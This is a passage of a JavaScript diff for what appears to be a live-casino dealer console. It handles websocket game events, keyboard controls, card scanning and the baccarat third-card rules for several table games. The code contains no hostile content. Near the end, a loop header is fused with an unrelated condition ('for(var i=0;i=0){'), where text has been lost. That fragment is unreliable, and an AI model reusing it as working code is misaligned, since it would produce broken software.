牛牛发送数据 +var sendScanNn = function(data) { + websocket.emit('sendScanNn', + {table_id : table_id, number_tab_id : number_tab_id, card : data.card, position : data.position}); +} + +// 色碟显示 +var showToningBox = function (){ + $('#toning_result_box').fadeIn(); +} +var hideToningBox = function (){ + $('#toning_result_box').fadeOut(); +} +// 骰宝显示 +var showDiceBox = function (){ + $('#dice_box').fadeIn(); +} +var hideDiceBox = function (){ + $('#dice_box').fadeOut(); +} +//事件 发送******************************************************************************************************************* +//事件返回********************************************************************************************************************* +websocket.on('onlineLogin',function(data){ + if (data.table_id === table_id) { + if(data.status === true){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status) + clearBetAmount(); + waybillFunc(); + if (data.round.number_tab_status.bet_status != undefined && data.round.number_tab_status.bet_status == 2){ + if(game_id == 4 || game_id == 5){ + showCardNn(data.round.show_card); + }else{ + showCard(data.round.show_card); + } + } + }else{ + layer.msg(lang[data.msg],{time:0}); + } + } + +}); +websocket.on('RepeatedEntry',function(data){ + websocket.close(); + layer.msg(lang[data.msg]); + setTimeout(function (){ + window.location.href='/login/logout'; + },2000); +}); +websocket.on('startBet',function(data){ + if(data.status === true && data.table_id === table_id){ + mp3List = ['start.mp3']; + audioMp3(mp3List).Play(); + setBetStatus(data.round.number_tab_status); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRob',function(data){ + if(data.status === true && data.table_id == table_id){ + mp3List = ['start_rob.mp3']; + audioMp3(mp3List).Play(); + $("#number_rob_status").val(1); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startRobCountDown',function(data){ + if(data.status === true && data.table_id == table_id && data.count_down >= 0){ + $('.nobegin-tip').html('抢庄中'); + countDownRob(data.count_down); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('endRob',function(data){ + $('.nobegin-tip').html(''); + if(data.status === true && data.table_id == table_id){ + $('#number_rob_status').val(2); + startBet(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); + +websocket.on('sendScanChangeResult',function(data){ + if (game_id == 4 && data.status == false) { + layer.msg(data.msg); + } +}); + +websocket.on('sendScanResult',function(data){ + if(data.status === true && data.table_id == table_id){ + if(game_id == 1 || game_id == 2){ + Flop(data); + + // 识别相关 + if (scanner_type == 2 && game_id == 1 && data.round != undefined && data.round.position != undefined){ + var _position = parseInt(data.round.position); + switch(_position) { + case 11: + scanPosition = 2; + break; + case 12: + scanPosition = 3; + break; + case 21: + scanPosition = 4; + break; + case 22: + scanPosition = 5; + break; + case 13: + scanPosition = 6; + break; + case 23: + initScanParams(); + break; + } + } + }else if(game_id==4||game_id==5){ + if(data.round.position == 0){ + flop_position(data); + }else{ + // 识别相关 + if (scanner_type == 2 && game_id == 4) { + if (data.round.position == 20) { + scanPosition = 21; + scanDefaultPosition = 'P1'; + clearInterval(scanTask); + scanTask = null; + + clearInterval(positionScanTask); + positionScanTask = null; + + isPositionScaned = false; + isCardScaned = true; + } else { + var _position = data.round.position; + + switch (scanDefaultPosition) { + case 'P2': + if (_position < 15) { + scanPosition = _position + 6; + } else { + scanPosition = _position - 14; + } + break; + case 'P3': + if (_position < 10) { + scanPosition = _position + 11; + } else { + scanPosition = _position - 9; + } + break; + case 'B': + if (_position < 5) { + scanPosition = _position + 16; + } else { + scanPosition = _position -4; + } + break; + default: + scanPosition = _position + 1; + } + + if (scanPosition > 20) { + scanPosition = 1; + } + } + } + // + flop_card(data); + } + } + } + /*else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + }*/ +}); +websocket.on('resetNumberTab',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard").fadeOut(); + + $(".table-info .nobegin-tip").fadeIn(); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html("") + $(".list .card .face").css("background-image","") + $(".begincard .list .draw .rotate").css("display",'none'); + }); + card_info=[]; + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('changeBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('resetBoot',function(data){ + if(data.status === true && data.table_id == table_id){ + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + card_info = []; + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('startBetCountDown',function(data){ + if(data.status == true && data.table_id == table_id){ + countDown(data.count_down); + } +}); +websocket.on('endBet',function(data){ + if(data.status === true && data.table_id == table_id){ + if (interval_time > 0) { + var doIntervalTime = parseInt(interval_time) + 1; + var intervalTime = setInterval(function(){ + doIntervalTime--; + $(".countdown .num").html(doIntervalTime) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + $(".countdown .round-txt-item").addClass("color-red"); + if(doIntervalTime == 0) { + clearInterval(intervalTime); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + $(".countdown .round-txt-item").removeClass("color-red"); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + $('#opening').val(0); + $('#result_banker_pair').val(0); + $('#result_player_pair').val(0); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + c = parseInt($('#wait_time').val()); + } + },1000); + } else { + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + if(game_id == 4 || game_id == 5){ + $(".banker_result").html(''); + $(".player_1_result").html(''); + $(".player_2_result").html(''); + $(".player_3_result").html(''); + } + if(game_id == 6){ + $('#toning_result').val(''); + $(".toning-result-num").removeClass("active"); + } + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + setBetStatus(data.round.number_tab_status); + + // 识别相关 + if (scanner_type == 2 && game_id == 1) { + doScanCards(); + } else if (scanner_type == 2 && game_id == 2) { + doDtScanCards(); + } else if (scanner_type == 2 && game_id == 4) { + doNnScanPositionCard(); + doNnScanCards(); + } + } + + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingBaccarat',function(data){ + if(data.status === true && data.table_id == table_id){ + showPng(data.round.opening,data.round.pair); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDt',function(data){ + if(data.status === true && data.table_id == table_id){ + showPngDt(data.round.opening); + gameResult(data); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + clearBetAmount(); + waybillFunc(); + + // 识别相关 + if (scanner_type == 2) { + initScanParams(); + } + // + + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingNn',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingTc',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#number_tab_status').val(0); + $('#number_rob_status').val(0); + setNumberInfo(data.round); + $('.box1').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box2').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box3').css("background-color","rgba(0, 0, 0, 0.5)"); + $('.box4').css("background-color","rgba(0, 0, 0, 0.5)"); + gameResultNn(data); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingToning',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#toning_result').val(""); + $('.toning-result-num').removeClass("active"); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideToningBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +websocket.on('openingDice',function(data){ + if(data.status === true && data.table_id == table_id){ + $('#dice_result').val(""); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + setNumberInfo(data.round); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + hideDiceBox(); + }else{ + if (data.table_id != undefined && data.table_id == table_id) { + layer.msg(lang[data.msg]); + } + } +}); +//事件返回********************************************************************************************************************* + +//启动执行 +$(function(){ + getLang(); + //视频处理 + $("#video-iframe").attr("src",player+'?url='+flvUrl); + $(document).keydown(function (e){ + if(e.keyCode == 13){ + + var cookieValue = $.cookie("enter_time"); + if(!cookieValue){ + $.cookie("enter_time", 1, { expires: 1/86400*3 }); + }else{ + layer.msg('Please hold on'); + return false + } + + if(isCBoot == true){ + $('.layui-layer-btn0').click(); + isCBoot = false; + }else{ + //var keycode = $('#keycode').val(); + var numberTabStatus = $('#number_tab_status').val(); + //if(keycode == '6'){ + if (numberTabStatus == 0) { + if(!isopentime){ + var is_rob = $('#is_rob').val(); + if(is_rob == 1){ + startRob(); + }else{ + startBet(); + } + $('#keycode').val(''); + }else{ + layer.msg("请稍等!"); + } + }else if (numberTabStatus == 2) { + opening(); + } + } + } + //开局 + if(e.keyCode == 111){ + $('#keycode').val('6'); + } + //修改当前状态 + if(e.keyCode == 109){ + $('#update_ludan').toggle(); + } + //换靴 + if(e.keyCode == 107){ + changeBoot(); + $('#keycode').val(''); + } + //退出登录 + if(e.keyCode == 106){ + if(table_type == 1){ + cutout(); + $('#keycode').val(''); + }else{ + if(bet_type == 2){ + cutout(); + $('#keycode').val(''); + }else{ + loginout(); + $('#keycode').val(''); + } + } + } + //取消 + if(e.keyCode == 110){ + $('.layui-layer-btn1').click(); + } + // 停止倒计时 + if(e.keyCode == 96){ + if(game_id == 5 || game_id == 4){ + var number_rob_status=$("#number_rob_status").val(); + var number_tab_status=$("#number_tab_status").val(); + if((number_rob_status==1&&number_tab_status==0)||(number_rob_status==2&&number_tab_status==0)){ + endRob(); + }else{ + endBet(); + } + }else{ + endBet(); + } + } + if(game_id == 6){ + if (e.keyCode == 96 || e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100){ + var result_num = -1; + switch (e.keyCode){ + case 96: + result_num = 0; + break; + case 97: + result_num = 1; + break; + case 98: + result_num = 2; + break; + case 99: + result_num = 3; + break; + case 100: + result_num = 4; + break; + } + if(result_num >= 0){ + $('#toning_result').val(result_num); + $(".toning-result-" + result_num).addClass("active").siblings().removeClass("active"); + } + } + } + // 骰宝结果选择 + if (game_id == 7){ + console.log(e.keyCode); + if (e.keyCode == 97 || e.keyCode == 98 || e.keyCode == 99 || e.keyCode == 100 || e.keyCode == 101 || e.keyCode == 102){ + var num = 0; + switch (e.keyCode){ + case 97: + num = 1; + break; + case 98: + num = 2; + break; + case 99: + num = 3; + break; + case 100: + num = 4; + break; + case 101: + num = 5; + break; + case 102: + num = 6; + break; + } + if (num > 0){ + var resultString = $('#dice_result').val(); + var resultArray = []; + if (resultString != ''){ + resultArray = resultString.split(","); + } + if (resultArray.length < 3){ + resultArray.push(num); + if (resultArray.length == 1){ + $('#dice_item_1 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 2) { + $('#dice_item_2 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } else if (resultArray.length == 3){ + $('#dice_item_3 img').attr("src", '/static/handle/img/dice'+num+'.png'); + } + $('#dice_result').val(resultArray.join(",")); + } + } + } else if (e.keyCode == 109){ + $('#dice_result').val(''); + $('#dice_item_1 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_2 img').attr("src", '/static/handle/img/dice0.png'); + $('#dice_item_3 img').attr("src", '/static/handle/img/dice0.png'); + } + } + }) + $(window).resize(function(){ + requestData(ludan); + }) + audio.addEventListener("ended", nextAudio); + getTime(); + // 日期 + setInterval(function(){ + getTime(); + }, 1000); + // 侧栏控台 + $(".control-box").hover(function(){ + $(".control-box").stop().animate({right:"0"}) + },function(){ + $(".control-box").stop().animate({right:"-410px"}) + }) + // 多语言切换 + $('#language').change(function(){ + var language = $('#language').val(); + if(language == "cn" || language == "tw" || language == "en"){ + $.get("/index/lang?lang="+language,function(data){ + location.reload(); + }) + } + }); + $("#confirm_update_ludan").click(function (){ + retreated(); + }); + $("#cancel_update_ludan").click(function (){ + $('#update_ludan').hide(); + }); + // 色碟方法 + $('.toning-result-num').click(function () { + $('#toning_result').val(parseInt($(this).html())); + $(this).addClass("active").siblings().removeClass("active"); + }) + + // 牛牛识别 + if (scanner_type == 2 && game_id == 4) { + $('.begincard .card').find(".face").on('click', function() { + openAllCardsPanel(this); + }); + } + +}) +function loginout(){ + isCBoot = true; + layer.confirm(lang.is_to_logout,{btn: [lang.confirm,lang.cancel],title:lang.message}, function(index){ + window.location.href='/login/logout'; + isCBoot = false; + layer.close(index); + },function(index){ + isCBoot = false; + }); +}; +function showPng(opening, pair){ + if(opening == 1 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/banker.png'); + mp3List = ['banker_win.mp3']; + } + if(opening == 1 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/banker_bpair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3']; + } + if(opening == 1 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/banker_ppair.png'); + mp3List = ['banker_win.mp3','player_pair.mp3']; + } + if(opening == 1 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/banker_bpair_ppair.png'); + mp3List = ['banker_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/player.png'); + mp3List = ['player_win.mp3']; + + } + if(opening == 2 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/player_bpair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3']; + } + if(opening == 2 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/player_ppair.png'); + mp3List = ['player_win.mp3','player_pair.mp3']; + } + if(opening == 2 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/player_bpair_ppair.png'); + mp3List = ['player_win.mp3','banker_pair.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 0) { + $('#openingPng').attr('src','/static/result_img/tie.png'); + mp3List = ['tie.mp3']; + } + if(opening == 3 && pair == 1) { + $('#openingPng').attr('src','/static/result_img/tie_bpair.png'); + mp3List = ['tie.mp3','banker_pair.mp3']; + } + if(opening == 3 && pair == 2) { + $('#openingPng').attr('src','/static/result_img/tie_ppair.png'); + mp3List = ['tie.mp3','player_pair.mp3']; + } + if(opening == 3 && pair == 3) { + $('#openingPng').attr('src','/static/result_img/tie_bpair_ppair.png'); + mp3List = ['tie.mp3','banker_pair.mp3','player_pair.mp3']; + } + audioMp3(mp3List).Play(); +} + +function showPngDt (opening){ + if(opening == 1) { + $('#openingPng').attr('src','/static/handle/img/dragon_win.png'); + mp3List = ['dragon_win.mp3']; + } + if(opening == 2) { + $('#openingPng').attr('src','/static/handle/img/tiger_win.png'); + mp3List = ['tiger_win.mp3']; + } + if(opening == 3) { + $('#openingPng').attr('src','/static/handle/img/tie.png'); + mp3List = ['tie.mp3']; + } + audioMp3(mp3List).Play(); +} + +function gameResult(data){ + var result_imgsrc='',Result=''; + switch(true){ + case data.round.opening==1:// 庄 + Result='banker'; + $(".begincard .card-box .banker-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==2:// 闲 + Result='player'; + $(".begincard .card-box .player-card").addClass("win").siblings().removeClass("win"); + break; + case data.round.opening==3:// 和 + Result='tie' + break; + } + if(data.round.pair==1){ + result_imgsrc=Result+'_bpair' + }else if(data.round.pair==2){ + result_imgsrc=Result+'_ppair' + }else if(data.round.pair==3){ + result_imgsrc=Result+'_bpair_ppair' + }else{ + result_imgsrc=Result + } + var src='/static/result_img/'+result_imgsrc+'.png' + $(".begincard .player-card .draw .text ").html(lang.player_all+' '+data.round.player+' '+lang.point) + $(".begincard .banker-card .draw .text ").html(lang.banker_all+' '+data.round.banker+' '+lang.point); + $('#openingElement').show(); + $('#openingElement').addClass("blink"); + isopentime=true; + setTimeout(function(){ + + $('#openingElement').removeClass("blink"); + $('#openingElement').hide(); + },3000) + // 清除状态 + card_info=[];///清除牌数据 + setTimeout(function(){ + $(".begincard .box").animate({"opacity":"0"},function(){ + $(".begincard .card-box .list").removeClass("win"); + $(".begincard").fadeOut(function(){ isopentime=false;}); + $(".begincard .list .draw .text").css("text-align","center") + $(".begincard .box .list .card").removeClass("begin") + $(".begincard .card .topleft").html("") + $(".begincard .card .bottomright").html(""); + $(".begincard .box .list .card").find(".face").css("background-image","url('/static/handle/img/faces.png')") + $(".begincard .box .list .draw .card").find(".face").css("background-image","url('/static/handle/img/faces1.png')") + $(".begincard .list .draw .rotate").css("display",'none') + $(".table-info .nobegin-tip").fadeIn(); + + }) + },5000) +} +function gameResultNn(data){ + isWin.win_player_1=data.round.win_player_1; + isWin.win_player_2=data.round.win_player_2; + isWin.win_player_3=data.round.win_player_3; + var newmp3List=[]; + if(data.round.win_player_1==1){ + newmp3List.push('nn_X1.wav'); + isWin.text.push("P1"); + $(".begincard .box2").addClass("win"); + } + if(data.round.win_player_2==1){ + newmp3List.push('nn_X2.wav'); + isWin.text.push("P2"); + $(".begincard .box3").addClass("win"); + } + if(data.round.win_player_3==1){ + newmp3List.push('nn_X3.wav'); + isWin.text.push("P3"); + $(".begincard .box4").addClass("win"); + } + if(data.round.win_player_1==0&&data.round.win_player_2==0&&data.round.win_player_3==0){ + newmp3List.push('nn_Zwin.wav'); + isWin.text.push("B"); + $(".begincard .box1").addClass("win"); + } + var str=isWin.text.length==0?'Banker':isWin.text.join('、')+" Win"; + $(".begincard .win-tip").html(str); + $(".begincard .win-tip").addClass("show"); + let mp3List = newmp3List; + audioMp3(mp3List).Play(); + + isopentime=true; + + setTimeout(function(){ + $(".begincard .win-tip").removeClass("show");isWin.text=[]; + },3000); + setTimeout(function(){ + $(".begincard").fadeOut(function(){ + isopentime=false; + $(".begincard .box").animate({"opacity":"0"}); + $(".begincard .box1").animate({"top":"100%","opacity":"0"}); + $(".begincard .box2").animate({"top":"100%","opacity":"0"}); + $(".begincard .box3").animate({"top":"100%","opacity":"0"}); + $(".begincard .box4").animate({"top":"100%","opacity":"0"}); + setBetStatus(data.round.number_tab_status); + waybillFunc(); + //清空牌数据 + $(".begincard div").removeClass("win"); + $(".list .card .face").css("background-image",""); + }); + },5000); +} +//获取当前语言包 +function getLang(){ + $.ajax({ + url:"/index/get_lang", + type:"POST", + dataType:"JSON", + async:false, + success:function(data){ + if(data.status === 1){ + lang = data.lang; + } + } + }) +} +//倒计时 +function countDown(time) { + $(".countdown .num").html(time) + $(".countdown").css({"opacity":1,"display":"block"}); + $(".countdown .grab-count").addClass("count-active"); + if(time == 10){ + mp3List = ['time_tip_10.mp3']; + audioMp3(mp3List).Play(); + } + if(time < 9 && time > 0){ + mp3List = ['time.mp3']; + audioMp3(mp3List).Play(); + } + if(time<=0){ + mp3List = ['stop_2.mp3']; + audioMp3(mp3List).Play(); + $(".countdown").css({"opacity":0,"display":"none"}); + $(".countdown .grab-count").removeClass("count-active"); + return; + } +} +//播放声音 +function audioMp3(mp3List){ + var mp3=new Object(); + mp3.mp3List=mp3List; + mp3.url="/static/handle/mp3/"; + mp3.auto_play=false; + mp3.loop=false; + mp3.Play=function(){ + audio.src=this.url+this.mp3List[0]; + audio.play(); + } + mp3.Muted=function(){ + audio.muted ? audio.muted = false : audio.muted = true; + } + mp3.volumeAdd=function(){ + if(audio.volume.toFixed(1)>=1){ + audio.volume=1 + }else{ + audio.volume = audio.volume + 0.1; + } + } + mp3.volumeMinus=function(){ + if(audio.volume.toFixed(1)<=0){ + audio.volume=0 + }else{ + audio.volume = audio.volume - 0.1; + } + } + return mp3; +} +//显示牌面 +var showCard = function(showCard){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }); + $.each(showCard,function(i,v){ + if(v.number!=false){ + var _thisdata={"status":true,round:v} + Flop(_thisdata); + } + }) +} +//是否显示补牌 +function isShowSupport(isSupport){ + if(isSupport.is_bopai){ + if(isSupport.player_3 == 1){ + $('.begincard .player-card .draw .rotate').css("display","inline-block") + } + if(isSupport.banker_3 == 1){ + $('.begincard .banker-card .draw .rotate').css("display","inline-block") + } + } +} +function Flop(data){ + var whichpoker='',pokerindex='',pokercard=''; + if(data.status==true){ + var which = data.round.position; + if(game_id == 1){ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=1; + card_info["player_2"]=data.round.number; + break; + case 12: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 13: + whichpoker='player-card'; + pokerindex=2; + card_info["player_3"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=1; + card_info["banker_2"]=data.round.number; + break; + case 22: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + case 23: + whichpoker='banker-card'; + pokerindex=2; + break; + } + }else{ + switch(which){ + case 11: + whichpoker='player-card'; + pokerindex=0; + card_info["player_1"]=data.round.number; + break; + case 21: + whichpoker='banker-card'; + pokerindex=0; + card_info["banker_1"]=data.round.number; + break; + } + } + + if(game_id==1){ + let support = isBopai(card_info); + isShowSupport(support); + } + pokercard = data.round.card; + var $poker = $('.begincard '+'.'+ whichpoker+' .card'); + var pokersrc="/static/handle/faces/"+pokercard+".svg"; + if(pokercard<200){ + var color="#000" + }else if(pokercard<300){ + var color="#f13b3d" + }else if(pokercard<400){ + var color="#000" + }else if(pokercard<500){ + var color="#f13b3d" + } + if(data.round.number == 1){ + data.round.number = "A"; + } + if(data.round.number == 11){ + data.round.number = "J"; + } + if(data.round.number == 12){ + data.round.number = "Q"; + } + if(data.round.number == 13){ + data.round.number = "K"; + } + $poker.eq(pokerindex).find(".topleft").html(data.round.number); + $poker.eq(pokerindex).find(".bottomright").html(data.round.number); + $poker.eq(pokerindex).find(".topleft").css("color",color); + $poker.eq(pokerindex).find(".bottomright").css("color",color); + + if(pokerindex==2){ + $('.begincard '+'.'+ whichpoker +' .draw .rotate').css("display","inline-block"); + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + $(".begincard .banker-card .draw .text").css("text-align","left"); + $(".begincard .player-card .draw .text").css("text-align","right"); + }else{ + $poker.eq(pokerindex).addClass("begin"); + $poker.eq(pokerindex).find(".face").css("background-image","url("+pokersrc+")"); + } + } +} +//百家乐判断是否要博牌 +function isBopai(card_info){ + card_info["length"]=0; + for( var i in card_info) { card_info["length"]++; } + var bopai_info = Array(3); + if(card_info.length<4){ + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + card_info=[]; + return bopai_info; + } + else { + if (card_info['banker_1'] > 10) { + card_info['banker_1'] = 10; + } + if (card_info['banker_2'] > 10) { + card_info['banker_2'] = 10; + } + if (card_info['banker_3'] > 10) { + card_info['banker_3'] = 10; + } + if (card_info['player_1'] > 10) { + card_info['player_1'] = 10; + } + if (card_info['player_2'] > 10) { + card_info['player_2'] = 10; + } + if (card_info['player_3'] > 10) { + card_info['player_3'] = 10; + } + var card_length = card_info.length; + var banker_result = (card_info['banker_1'] + card_info['banker_2']) % 10; + var player_result = (card_info['player_1'] + card_info['player_2']) % 10; + if (card_length == 4) { + if (player_result == 8 || player_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + else if (banker_result == 8 || banker_result == 9) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + else if (player_result == 0 || player_result == 1 || player_result == 2 || player_result == 3 || player_result == 4 || player_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 1; + + } + else if (banker_result == 0 || banker_result == 1 || banker_result == 2 || banker_result == 3 || banker_result == 4 || banker_result == 5) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (player_result == 6 || player_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + + } + } + else if (card_length == 5) { + if (card_info['player_3'] > 0) { + if (banker_result == 0 || banker_result == 1 || banker_result == 2) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (banker_result == 3) { + if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 8) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 4) { + if (card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 5) { + if (card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 6) { + if (card_info['player_3'] == 6 || card_info['player_3'] == 7) { + bopai_info['is_bopai'] = true; + bopai_info['banker_3'] = 1; + bopai_info['player_3'] = 0; + } + else if (card_info['player_3'] == 1 || card_info['player_3'] == 2 || card_info['player_3'] == 3 || card_info['player_3'] == 4 || card_info['player_3'] == 5 || card_info['player_3'] == 8 || card_info['player_3'] == 9 || card_info['player_3'] == 10) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + else if (banker_result == 7) { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } else { + bopai_info['is_bopai'] = false; + bopai_info['banker_3'] = 0; + bopai_info['player_3'] = 0; + } + } + card_info=[]; + return bopai_info; + } +} +var showCardNn = function(data){ + $(".begincard").fadeIn(function(){ + $(".begincard .box").animate({"opacity":"1"}); + $(".begincard .box1").animate({"top":"100%","opacity":"1"}); + $(".begincard .box2").animate({"top":"100%","opacity":"1"}); + $(".begincard .box3").animate({"top":"100%","opacity":"1"}); + $(".begincard .box4").animate({"top":"100%","opacity":"1"}); + }); + card_number_info = data; + if(card_number_info.length > 0){ + for(var i=0;i=0){ + $('#number_rob_status').val(BetStatus.rob_status); + } + } + $('#number_tab_status').val(BetStatus.bet_status); + if(BetStatus.bet_status==2){ + if (game_id == 6){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showToningBox(); + } else if(game_id == 7){ + $('.nobegin-tip').html(""); + $('#show-status-span').html(""); + showDiceBox(); + } else { + $(".begincard").fadeIn(function(){ + if(game_id==1||game_id==2){ + $(".begincard .box").animate({"opacity":"1"}); + $(".table-info .nobegin-tip").fadeOut(); + }else 